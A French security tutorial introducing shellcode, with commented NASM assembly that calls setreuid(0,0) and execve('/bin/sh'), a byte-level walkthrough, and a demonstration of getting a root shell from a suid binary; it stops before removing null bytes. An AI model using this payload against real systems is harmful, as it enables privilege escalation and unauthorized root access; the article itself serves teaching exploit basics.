Shellcode - introduction   Version imprimable de cet article Enregistrer au format PDF

Qu’est ce qu’un shellcode ? Introduction aux shellcodes


par S3cur3D

Qu’est ce que le shellcode ?

Le shellcode est une sorte de bytecode. Le bytecode est tout simplement du code éxécutable, une succession de bytes compréhensible pour votre système. Par exemple, quand vous ouvrez un logiciel à l’aide d’un éditeur texte, l’agencement des caractères que vous voyez n’est rien d’autre que la transposition en caractères ascii de ce bytecode. Le bytecode d’un programme contient les segments code, bss et data puisqu’ils sont statiques.
Le shellcode quant à lui est un bytecode destiné tout simplement à faire apparaître un shell, et plus spécifiquement, un shell root quand c’est possible. Notre premier but est donc de coder un programme en assembleur qui va lancer un shell, root s’il possède le bit suid.

Programmer l’affichage d’un shell

Basiquement, un shellcode est composé de deux appels systèmes :

- l’appel setreuid(), syscall 70, qui permet de changer l’effective user id et le real user id. En fait, le shellcode sert souvent à tirer profit d’un programme possédant le bit suid et appartenant au root (Suid Root Program). Souvent, ces programmes se séparent des privilèges du root dès qu’ils en ont l’occasion, question de sécurité. C’est pourquoi il est important d’utiliser l’appel setreuid, pour être sûr d’avoir les privilèges root, quoi qu’il puisse se passer dans le programme.
La synthaxe de setreuid est setreuid(uid_t realuid, uid_t effectiveuid).

- l’appel execve(), syscall 11, qui est un appel système d’éxécution de binaires qui va nous permettre d’éxécuter /bin/sh (apparition d’un shell). La synthaxe de execve est execve(const char *nomdufichier,char *const argv [], char *const environnementp []).

Au final, certains de vous auront peut-être reconnu l’architecture primaire de certains backdoor sous linux.
Passons maintenant à l’étude du code affichage-shell.asm suivant :

  1. ;affichage-shell.asm
  2.  
  3. segment .data ;déclaration du segment des variables initialisées et globales
  4.  
  5. cheminshell db "/bin/sh0aaaabbbbb" ;db déclare une chaine de caractères
  6.  
  7. segment .text ;declaration du segment de code
  8.  
  9. global _start ;point d'entrée pour le format ELF
  10.  
  11. _start: ;here we go
  12.  
  13.  
  14. mov eax,70 ;on met eax à 70 pour préparer l'appel à setreuid
  15. mov ebx,0 ;real uid 0 => root
  16. mov ecx,0 ;effective uid 0 => root
  17. int 0x80 ;Syscall 70
  18.  
  19. mov eax,0 ;on met 0 dans eax
  20. mov ebx,cheminshell ;on met l'adresse de cheminshell dans ebx
  21. mov [ebx+7],al ;on met le 0 (de eax) 7 caractères après le début de la chaîne
  22. ;en fait, on réécrit le 0 de la chaine avec un nul byte
  23. ;al occupe 1 byte
  24. mov [ebx+8],ebx ;on met l'addresse de la chaine 8 caractères après son début
  25. ;En fait, on réécrit aaaa par l'adresse de cheminshell
  26. mov [ebx+12],eax ;12 caractères après le début, on met les 4 bytes de eax
  27. ;en fait, on réécrit bbbb par 0x00000000
  28. mov eax,11 ;on met eax à 11 pour préparer l'appel à execve
  29. lea ecx,[ebx+8] ;on charge l'adresse de (anciennement) aaaa dans ecx
  30. lea edx,[ebx+12] ;on charge l'adresse de (anciennement) bbbb dans edx
  31. int 0x80 ;Syscall 11

Télécharger

Il est sûr que sans une connaissance de l’assembleur, le dernier bloc (appel à execve()) peut paraître plutôt flou, voire carrément obscur... Nous allons donc expliciter ligne par ligne ce qui se passe :

Tout d’abord, on met le registre eax à 0 (0x00000000 puisque eax a 32 bits)

Ensuite, on copie l’adresse de cheminshell dans ebx
A l’adresse pointée par ebx (&cheminshell), on a donc :

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
/ b i n / s h 0 a a a a b b b b \0

Maintenant, on copie le registre al (une byte de eax) à l’adresse pointée par ebx, +7

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
/ b i n / s h 0 a a a a b b b b \0

On copie ebx (disons 0x12345678) à l’adresse pointée par ebx, +8 (attention au little endian) :

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
/ b i n / s h \0 78 56 34 12 b b b b \0

On copie ensuite le registre eax (actuellement 0x00000000) à l’adresse pointée par ebx, +12

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
/ b i n / s h \0 78 56 34 12 \0 \0 \0 \0 \0

On met eax à 11 (préparation du syscall 11)

On charge l’adresse ebx + 8 (lea = Load Effective Address) dans ecx. ecx pointe donc vers ebx + 8 qui pointe vers ebx. On charge l’adresse ebx + 12 dans edx. edx pointe donc vers ebx + 12 qui pointe vers 0x00000000 (NULL pointer ou pointeur nul). Enfin, On lance l’appel au kernel qui va lancer le syscall 11 (execve).

Ainsi, quand les arguments de la fonction execve() vont être lus, en premier, il y aura la chaîne "/bin/sh" (la lecture se terminant au nul byte), en deuxième, un pointeur vers un pointeur vers la ligne de commande (qui revient seulement à "/bin/sh" ici puisqu’il n’y a pas d’argument), et enfin un pointeur vers le pointeur NULL car on a pas besoin d’environnement de programmation spécifique. Au final, la manipulation effectuée dans ce dernier bloc avait juste pour but de créer des pointeurs vers des pointeurs, comme spécifié pour la synthaxe de execve().
Assemblons, linkons et testons ce programme :

   $ nasm affichage-shell.asm -o affichage-shell.o -f elf && ld -s affichage-shell.o -o affichage-shell && ./affichage-shell
   sh-3.1$

Il affiche bien un shell, maintenant, on mets le propriétariat du programme au root et à son groupe, puis on attribue au programme le bit suid pour vérifier qu’il nous donnera bien un shell root :

   $ su -
   Password:
   # chown root.root affichage-shell
   # chmod +s affichage-shell
   # exit
   logout
   $ ./affichage-shell
   sh-3.1# whoami
   root
   sh-3.1#

Parfait, notre programme marche comme prévu. Ceci dit, il ne peut pas encore constituer un réell shellcode, pour deux raisons :

- on utilise le segment data pour stocker le buffer de /bin/sh. Or, le shellcode doit pouvoir être injecté en mémoire et directement éxécuté. Autrement dit, ça ne doit être qu’une suite d’instruction, qu’un segment code, puisqu’il n’aura pas une segmentation mémoire spécifique pendant son éxécution.
- le deuxième problème est évident quand on le regarde dans un éditeur hexadécimal : il y a des 00 partout ! On rappelle que le shellcode doit être copié telle une chaîne de caractères. Autrement dit, s’il y a un null byte, la chaîne s’arrête et le shellcode est coupé (ainsi que le crafted buffer que l’on injectait).
Nous allons maintenant remédier à ces deux problèmes dans l’ordre.

Documentations publiées dans cette rubrique Documentations publiées dans cette rubrique